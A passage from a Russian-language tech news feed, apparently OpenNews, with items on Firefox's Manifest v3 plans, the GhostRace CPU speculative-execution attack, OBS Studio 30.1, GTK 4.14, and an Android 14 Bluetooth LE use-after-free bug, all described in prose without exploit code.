В свою очередь компания Mozilla не будет в обозримом будущем прекращать поддержку второй версии манифеста, и сохранит возможность запускать дополнения, использующие возможности, недоступные в третьей версии манифеста. Остаётся в силе решение не обеспечивать в Firefox полную совместимость с третьей версией манифеста Chrome. В Firefox будет оставлен полноценный API webRequest, который в Chrome будет переведён в режим только для чтения.

В Firefox также при помощи механизма Event Pages будет сохранена поддержка выполнения фоновых скриптов на базе DOM, вместо которых в третьей версии манифеста предписано использовать Service Workers. Фоновые скрипты на базе Service Workers в Firefox пока не поддерживаются, но разработчикам будет предоставлена возможность определения в дополнении как обработчика на базе Event Pages, так и скриптов на базе Service Workers, что позволит создавать дополнения, соответствующие третьей версии манифеста и работающие в Chrome и Firefox.

Манифест Chrome определяет возможности и ресурсы, доступные для дополнений, написанных с использованием API WebExtensions. Начиная с версии 57 Firefox полностью перешёл на использование API WebExtensions для разработки дополнений и прекратил поддержку технологии XUL. Переход на WebExtensions позволил унифицировать разработку дополнений с платформами Chrome, Opera, Safari и Edge, упростил портирование дополнений между различными web-браузерами и дал возможность полноценно использовать многопроцессный режим работы (дополнения WebExtensions могут выполняться в отдельных процессах, изолированно от остальных частей браузера). Для унификации разработки дополнений с остальными браузерами в Firefox обеспечивается почти полная совместимость со второй версией манифеста Chrome.

В рамках инициативы по упрощению создания безопасных и высокопроизводительных дополнений, и усложнению возможности создания небезопасных и медленных дополнений, компания Google разработала третью версию манифеста. Основное недовольство третьей версией манифеста вызвано переводом в режим только для чтения API webRequest, позволявшего подключать собственные обработчики, имеющие полный доступ к сетевым запросам и способные на лету модифицировать трафик. Вместо API webRequest в третьей версии манифеста добавлен ограниченный по своим возможностям API declarativeNetRequest, предоставляющий доступ к встроенному движку для фильтрации, самостоятельно обрабатывающему правила блокировки, не разрешающему использовать собственные алгоритмы фильтрации.

Среди особенностей реализации третьей версии манифеста в Firefox:

  • Добавлен новый декларативный API фильтрации контента, но в отличие от Chrome не прекращена поддержка старого блокирующего режима работы API webRequest.
  • Реализован механизм Event Pages, который более привычен для web-разработчиков, не требует полной переработки дополнений и устраняет ограничения, связанные с применением Service Workers. Event Pages позволит привести существующие дополнения с фоновыми страницами к требованиям третьей версии манифеста, сохранив при этом доступ ко всем возможностям, необходимым для работы с DOM.
  • Новая гранулированная модель запроса полномочий - дополнение не сможет активироваться сразу для всех страниц (убрано полномочие "all_urls"), а будет работать только в контексте активной вкладки, т.е. пользователю потребуется подтверждать работу дополнения для каждого сайта. В Firеfox все запросы на доступ к данным сайта будут рассматриваться как необязательные, а конечное решение о предоставлении доступа будет принимать пользователь, который сможет выборочно решать какому дополнению предоставить доступ к своим данным на том или ином сайте.

    Для управления полномочиями в интерфейс добавлена кнопка "Unified Extensions" для непосредственного управления тем, к каким сайтам имеет доступ каждое дополнение - пользователь может предоставить и отозвать доступ дополнения к любому сайту. Управление полномочиями применяется только к дополнениям на основе третьей версии манифеста, для дополнений на второй версии манифеста гранулированное управление доступом к сайтам не производится.

  • Изменение обработки Cross-origin запросов - в соответствии с новым манифестом на скрипты обработки контента будут распространяться те же ограничения полномочий, что и для основной страницы, в которую эти скрипты внедряются (например, если страница не имеет доступа к API определению местоположения, то и скрипт дополнения также не получит этот доступ). Данное изменение полностью реализовано в Firefox.
  • API на основе Promise. Firefox поддерживает данный API и для третьей версии манифеста.
  • Запрет выполнения кода, загруженного с внешних серверов (речь про ситуации, когда дополнение подгружает и выполняет внешний код). В Firefox применяется блокировка внешнего кода и разработчики Mozilla добавили дополнительные техники отслеживания загрузок кода. Для скриптов обработки контента представлена отдельная политика ограничения доступа к контенту (CSP, Content Security Policy).

  1. OpenNews: В Chrome предложены режимы экономии памяти и энергии. Отложено отключение второй версии манифеста
  2. OpenNews: Mozilla начнёт принимать дополнения на базе третьей версии манифеста Chrome
  3. OpenNews: Google отложил на 2024 год прекращение поддержки второй версии манифеста Chrome
  4. OpenNews: Подготовлены варианты uBlock Origin и AdGuard с поддержкой третьей версии манифеста Chrome
  5. OpenNews: В Firefox началось тестирование третьей версии манифеста Chrome
Обсуждение (137 +30) | Тип: К сведению |
·13.03.2024 GhostRace - атака на механизм спекулятивного выполнения в процессорах Intel, AMD, ARM и IBM (90 +22)
  Группа исследователей из Амстердамского свободного университета и компании IBM разработала новый вариант атаки на механизм спекулятивного выполнения в современных процессорах, получивший кодовое имя GhostRace (CVE-2024-2193). Проблема проявляется в процессорах, производимых компаниями Intel, AMD, ARM и IBM. Для демонстрации принципов проведения атаки опубликован прототип эксплоита, позволяющий извлекать данные из памяти ядра Linux с производительностью 12 Кб в секунду при уровне надёжности, типичном для атак класса Spectre. При проведении атак на системы виртуализации, атакующий из гостевой системы может определить содержимое памяти хост-окружения или других гостевых систем.

Предложенный метод атаки манипулирует возникновением в спекулятивном режиме состояний гонки, способных привести к обращению к уже освобождённым областям памяти, в случае неверного прогнозирования процессором ветвления в коде, в котором осуществляются условные операции с примитивами синхронизации потоков, такими как mutex и spinlock. Возникающие спекулятивные обращения к памяти после определения неверного предсказания отбрасываются процессором, но следы их выполнения оседают в процессорном кэше и могут затем быть извлечены при помощи анализа по сторонним каналам.

По аналогии с эксплуатацией уязвимостей Spectre v1 для осуществления атаки GhostRace требуется наличие в ядре определённых последовательностей инструкций (гаджетов), приводящих к спекулятивному выполнению кода в зависимости от внешних условий, на которые может влиять атакующий. В целях оптимизации процессор начинает выполнять подобные гаджеты в спекулятивном режиме, но потом определяет, что предсказание ветвления не оправдалось и откатывает операции в исходное состояние.

Гаджет образуется, например, из участков кода, в которых состояние проверяется в бесконечном цикле и осуществляется выход из цикла после снятия блокировки доступа к ресурсу. Соответственно, при спекулятивном выполнении инструкций можно добиться ложного срабатывания перехода и выполнения защищённого блокировкой набора инструкций, несмотря на то, что фактически блокировка ресурса остаётся неснятой.

При анализе кода ядра Linux 5.15.83 исследователями выявлено 1283 гаджета, приводящих к спекулятивному обращению к уже освобождённой памяти (SCUAF - Speculative Concurrent Use-After-Free). Потенциально атака может быть совершена на системы виртуализации, любые ядра ОС и программы, в которых примитивы синхронизации потоков проверяются с использованием условных операторов, а код выполняется на платформах допускающих спекулятивное выполнение операций ветвления (x86, ARM, RISC-V и т.п.).

Для блокирования атаки предлагается использовать сериализацию примитивов синхронизации, т.е. добавление процессорной инструкции LFENCE после команды cmpxchq, проверяющей состояние блокировки. Предложенный для включения в ядро Linux метод защиты приводит к снижению производительности приблизительно на 5% при прохождении теста LMBench, так как вызов LFENCE запрещает упреждающее выполнение следующих инструкций, до того как будет завершена фиксация всех предыдущих операций.

Разработчики ядра Linux и компании-производители CPU были уведомлены о проблеме в конце 2023 года. Компания AMD опубликовала отчёт о наличии уязвимости, в котором рекомендовала использовать типовые приёмы защиты от атак класса Spectre v1. Компании Intel и ARM пока не отреагировали. Разработчики ядра Linux в ближайшем будущем не намерены использовать предложенный метод сериализации примитивов синхронизации из-за снижения производительности, но уже реализовали необходимые ограничения для защиты от сопутствующей техники эксплуатации IPI Storming (Inter-Process Interrupt Storming) (CVE-2024-26602), которая применяется в эксплоите для прерывания процесса в нужный момент (наводнение ядра CPU прерываниями, мешающими завершению сработавшего во время работы процесса обработчика прерываний) с целью предоставления временного окна для осуществления спекулятивного обращения к уже освобождённой памяти.

Несмотря на то что в гипервизоре Xen пока не выявлены вызывающие утечку гаджеты, разработчики Xen подготовили изменения с реализацией защищённого механизма блокировок LOCK_HARDEN, похожего на ранее добавленный метод защиты BRANCH_HARDEN. Из-за возможного негативного влияния на производительность, а также отсутствия подтверждений возможности совершения атаки на Xen, режим LOCK_HARDEN отключён по умолчанию.

  1. OpenNews: SLAM - атака на CPU Intel, AMD и ARM, позволяющая определить содержимое памяти
  2. OpenNews: BHI - новая уязвимость класса Spectre в процессорах Intel и ARM
  3. OpenNews: Доступен Kasper, сканер проблем со спекулятивным выполнением кода в ядре Linux
  4. OpenNews: Retbleed - новая атака на механизм спекулятивного выполнения CPU Intel и AMD
  5. OpenNews: SLAM - атака на CPU Intel, AMD и ARM, позволяющая определить содержимое памяти
Обсуждение (90 +22) | Тип: Проблемы безопасности | Интересно
·13.03.2024 Выпуск системы потокового видеовещания OBS Studio 30.1 (39 +23)
  Опубликован выпуск OBS Studio 30.1, пакета для потокового вещания, композитинга и записи видео. Код написан на языках C/C++ и распространяется под лицензией GPLv2. Сборки сформированы для Linux (flatpak), Windows и macOS.

Целью разработки OBS Studio было создание переносимого варианта приложения Open Broadcaster Software (OBS Classic), не привязанного к платформе Windows, поддерживающего OpenGL и расширяемого через плагины. Отличием также является использование модульной архитектуры, подразумевающей разделение интерфейса и ядра программы. Поддерживается перекодирование исходных потоков, захват видео во время игр и стриминг в PeerTube, Twitch, Facebook Gaming, YouTube, DailyMotion, Hitbox и другие сервисы. Для обеспечения высокой производительности возможно использование механизмов аппаратного ускорения (например, NVENC, Intel QSV и VAAPI).

Предоставляется поддержка композитинга с построением сцены на основе произвольных видеопотоков, данных с web-камер, карт захвата видео, изображений, текста, содержимого окон приложений или всего экрана. В процессе вещания допускается переключение между несколькими предопределёнными вариантами сцен (например, для переключения представлений с акцентом на содержимое экрана и изображение с web-камеры). Программа также предоставляет инструменты для микширования звука, фильтрации при помощи VST-плагинов, выравнивая громкости и подавления шумов.

Ключевые изменения:

  • Включена поддержка HDR (High Dynamic Range) для потоков в формате HEVC (H.265), передаваемых поверх RTMP (Real-Time Messaging Protocol). Ранее HDR мог использоваться с форматом AV1, но данная конфигурация не поддерживалась в YouTube.
  • Переработан источник вещания, показывающий слайдшоу из изображений. Загрузка файлов в Slideshow Source теперь выполняется в асинхронном режиме. Решена проблема с зацикливанием до завершения показа всех изображений.
  • Добавлена настройка для автоматического кадрирования по заданным границам.
  • Для SDR (Standard Dynamic Range) в фильтре HDR Tone Mapping добавлена поддержка преобразователя оттенков maxRGB.
  • Добавлены опции для изменения масштаба силами GPU при стриминге и записи видео.
  • Для платформы Windows реализованы опции для захвата звука (Capture Audio) в играх и поддержки режима композитинга PMA (Premultiplied alpha).
  • Добавлена поддержка многотрекового звука для mpegts и возможность выбора звуковых каналов для CoreAudio.
  • Для VA-API и вывода через WebRTC/WHIP реализована поддержка формата AV1.
  • Добавлен новый источник вещания, использующий в качестве устройства захвата видео мультимедийный сервер PipeWire.
  • В фрагментированных форматах MP4 и MOV реализована поддержка PCM-звука.
  • Применяемый по умолчанию формат записи изменён на фрагментированный MP4 (fMP4) на платформах Linux и Windows, и фрагментированный MOV (fMOV) на платформе macOS.

  1. OpenNews: Опубликована система потокового видеовещания OBS Studio 30.0
  2. OpenNews: В OBS Studio добавлена поддержка WebRTC с возможностью вещания в режиме P2P
  3. OpenNews: В TikTok Live Studio выявлено заимствование кода OBS, нарушающее лицензию GPL
  4. OpenNews: Выпуск серверов для потокового вещания Roc 0.1, Ant 1.7 и Red5 1.1.1
  5. OpenNews: Выпуск сервера потокового вещания Owncast 0.1.0
Обсуждение (39 +23) | Тип: Программы |
·12.03.2024 Доступен графический тулкит GTK 4.14 с новыми движками для OpenGL и Vulkan (187 +18)
  После семи месяцев разработки опубликован релиз многоплатформенного тулкита для создания графического интерфейса пользователя - GTK 4.14.0. GTK 4 развивается в рамках нового процесса разработки, который пытается предоставить разработчикам приложений стабильный и поддерживаемый в течение нескольких лет API, который можно использовать не опасаясь, что каждые полгода придётся переделывать приложения из-за изменения API в очередной ветке GTK.

В дальнейшем планируется сформировать экспериментальную ветку 4.90, в которой будет развиваться функциональность для будущего выпуска GTK5. В ветку GTK5 будут включены изменения нарушающие совместимость на уровне API, например, связанные с переводом в разряд устаревших некоторых виджетов, таких как старый диалог выбора файлов. Также обсуждается возможность прекращения в ветке GTK5 поддержки протокола X11 и оставления возможности работы только с использованием протокола Wayland.

Среди наиболее заметных улучшений в GTK 4.14:

  • В состав включены новые унифицированные движки отрисовки "ngl" и "vulkan", использующие графические API OpenGL (GL 3.3+ и GLES 3.0+) и Vulkan. Оба движка базируются на API Vulkan, но в движке "ngl" для OpenGL создан отдельный уровень абстракции, работающий поверх Vulkan с учётом отличий между OpenGL и Vulkan. Подобный подход позволил задействовать в обоих движках общую инфраструктуру для обработки графа сцены (scene graph), трансформаций, кэширования текстур и глифов. Унификация также заметно упростила сопровождение кодовой базы обоих движков и их поддержание в актуальном и синхронизированном состоянии.

    В отличие от старого движка "gl", в котором для каждого типа узлов рендеринга (rendernode) использовался отдельный простой шейдер и выполнялась периодическая пересортировка данных при закадровом рендеринге (offscreen), в новых движках вместо закадрового рендеринга применяется сложный шейдер (ubershader), интерпретирующий данные из буфера. Из отличительных возможностей новых движков упоминается сглаживание контуров (позволяет сохранить мелкие детали и добиться отрисовки более ровных контуров), формирование произвольных градиентов (может использоваться любое число цветов и сглаживание) и дробное масштабирование.

  • По умолчанию включён новый движок отрисовки "ngl", а также включена по умолчанию поддержка графического API Vulkan. При сборке в конфигурации по умолчанию теперь требуется поддержка Vulkan 1.3.
  • В библиотеку GSK (GTK Scene Kit), предоставляющей возможности отрисовки графических сцен через OpenGL и Vulkan, внесены значительные улучшения, связанные с отрисовкой шрифтов, хинтингом и использованием нецелых значений масштаба при выводе текста. При хинтинге (сглаживание контура глифа при растеризации для повышения чёткости на экранах с низким разрешением) реализовано субпиксельное позиционирование глифов. Повышено качество отрисовки шрифтов при нецелых значениях масштаба (например, 125%). Реализована поддержка вытеснения элементов из кэшей для глифов и текстур. Повышена эффективность кэширования глифов.
  • В рамках работы по уходу от использования библиотеки Cairo в пользу отрисовки при помощи GPU добавлена поддержка "путей" (Path) для отрисовки фигур и областей, используя последовательность линий или кубических и квадратичных кривых Безье. Для отрисовки при помощи путей предложен объект GskPath, определяющий параметры линий или кривых, а также объекты GskPathBuilder для создания кривых, GskPathPoint для определения точки на фигуре и GskPathMeasure для выполнения измерений, таких как длина контура.
  • В библиотеке GDK, предоставляющей прослойку между GTK и графической подсистемой, расширена поддержка механизма DMA-BUF, позволяющего использовать буферы на уровне ядра, адресуемые при помощи дескриптора, что даёт возможность вместо копирования пиксельных данных передавать их между подсистемами ядра через дескриптор. В контексте GTK DMA-BUF может использоваться для минимизации копирования пиксельных данных в процессе композитинга и при работе с видео (например, видео может быть записано аппаратным декодировщиком в dmabuf, после чего прикреплено к поверхности Wayland и передано в композитный менеджер для наложения элементов интерфейса и вывода на экран без лишних операций копирования данных).

    Для прямой отправки контента, такого как видео, композитному менеджеру (минуя рендер GSK) добавлен виджет GtkGraphicsOffload, а для создания контента для прямой передачи добавлен класс GdkDmabufTextureBuilder, создающий объекты GdkTexture из dmabuf. В качестве источника для dmabuf могут использоваться pipewire, video4linux или gstreamer. Поддерживаются форматы dmabuf NV16, NV61, NV24, NV42 и YUV.

  • Добавлен класс GtkPrintDialog, предназначенный для формирования диалогов вывода на печать и предлагающий асинхронный API для использования вместо GtkPrintOperation.
  • В виджете GtkEmojiChooser обновлены данные Emoji и добавлена возможность поиска на разных языках с учётом разных локалей.
  • В виджете GtkEntry улучшено отслеживание изменений, произведённых пользователем (для реализации операции undo).
  • В виджете GtkFileChooser ускорено открытие диалога выбора файлов.
  • Класс GtkShortcutsWindow, отображающий подсказку по клавиатурным комбинациям и экранным жестам, адаптирован для небольших экранов.
  • В режиме инспектирования (GTK inspector) обеспечено отображение информации об OpenGL, подповерхностях и FPS.
  • В утилиту gtk4-rendernode-tool добавлена команда "compare".
  • Предложена новая утилита gtk4-path-tool для работы с путями.
  • В утилите gtk4-node-editor добавлена поддержка автозаписи.
  • Устранено аварийное завершение, проявлявшееся при использовании Wayland в окружениях не на базе GNOME Shell.
  • Добавлены новые средства для людей с ограниченными возможностями, связанные с показом сложного отформатированного текста, работой WebKitGTK и выводом уведомлений. Улучшена поддержка спецификаций ARIA. Добавлен интерфейс GtkAccessibleText для использования accessibility-возможностей в сторонних текстовых виджетах. В интерфейсе GtkText добавлена поддержка протокола AT-SPI для взаимодействия с экранными ридерами.
  • Добавлена возможность рендеринга с привлечением GPU, используя API WGL на платформе Windows.
  • Сокращено потребление памяти при загрузке тем оформления на базе CSS.

  1. OpenNews: В GTK добавлены новые движки отрисовки для OpenGL и Vulkan
  2. OpenNews: Доступен графический тулкит GTK 4.12
  3. OpenNews: GNOME Shell и Mutter завершили переход на GTK4
  4. OpenNews: Работа над GTK5 начнётся в конце года. Намерение разрабатывать GTK на языках, отличных от Си
  5. OpenNews: Завершено портирование GIMP на GTK3
Обсуждение (187 +18) | Тип: Программы |
·12.03.2024 Уязвимость в Android 14, эксплуатируемая через Bluetooth LE (58 +15)
  Разработчики проекта GrapheneOS, развивающего защищённое ответвление от кодовой базы AOSP (Android Open Source Project), выявили уязвимость в Bluetooth-стеке платформы Android 14, которая потенциально может привести к удалённому выполнению кода. Проблема вызвана обращением к уже освобождённой области памяти (use-after-free) в коде обработки звука, передаваемого через Bluetooth LE.

Уязвимость выявлена благодаря интеграции в вызов hardened_malloc дополнительной защиты, использующей расширение ARMv8.5 MTE (MemTag, Memory Tagging Extension), позволяющее привязать теги к каждой операции выделения памяти и организовать проверку корректности использования указателей для блокирования эксплуатации уязвимостей, вызванных обращением к уже освобождённым блокам памяти, переполнениями буфера, обращениями до инициализации и использованием вне текущего контекста.

Ошибка проявляется начиная с обновления Android 14 QPR2 (Quarterly Platform Release), опубликованного в начале марта. В основной кодовой базе платформы Android 14 механизм MTE доступен в качестве опции и пока не применяется по умолчанию, но в GrapheneOS его уже задействовали для дополнительной защиты, что дало возможность диагностировать ошибку после обновления до Android 14 QPR2. Ошибка приводила к аварийному завершению при использовании Bluetooth-наушников Samsung Galaxy Buds2 Pro с прошивкой, в которой включена защита на базе MTE. Разбор инцидента показал, что проблема связана с обращением к уже освобождённой памяти в обработчике Bluetooth LE, а не сбоем из-за интеграции MTE.

Уязвимость устранена в выпуске GrapheneOS 2024030900 и затрагивает сборки для смартфонов, в которых не включена дополнительная аппаратная защита на основе расширения MTE (MTE пока включён только для устройств Pixel 8 и Pixel 8 Pro). Уязвимость воспроизводится на смартфонах Google Pixel 8 с прошивкой на базе Android 14 QPR2. В Android для смартфонов серии Pixel 8 режим MTE можно включить в настройках для разработчиков ("Settings / System / Developer options /Memory Tagging Extensions"). Включение MTE приводит к увеличению потребления памяти примерно на 3%, но не снижает производительность.

  1. OpenNews: Обновление защищённой Android-платформы GrapheneOS
  2. OpenNews: Google развивает новый Bluetooth-стек для Android, написанный на Rust
  3. OpenNews: Уязвимости в ядре Linux, удалённо эксплуатируемые через Bluetooth
  4. OpenNews: BLUFFS - уязвимости в Bluetooth, позволяющие провести MITM-атаку
  5. OpenNews: Уязвимость в Bluetooth-стеках Linux, macOS, Android и iOS, допускающая подстановку нажатий клавиш
Обсуждение (58 +15) | Тип: Проблемы безопасности |
Следующая страница (раньше) >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру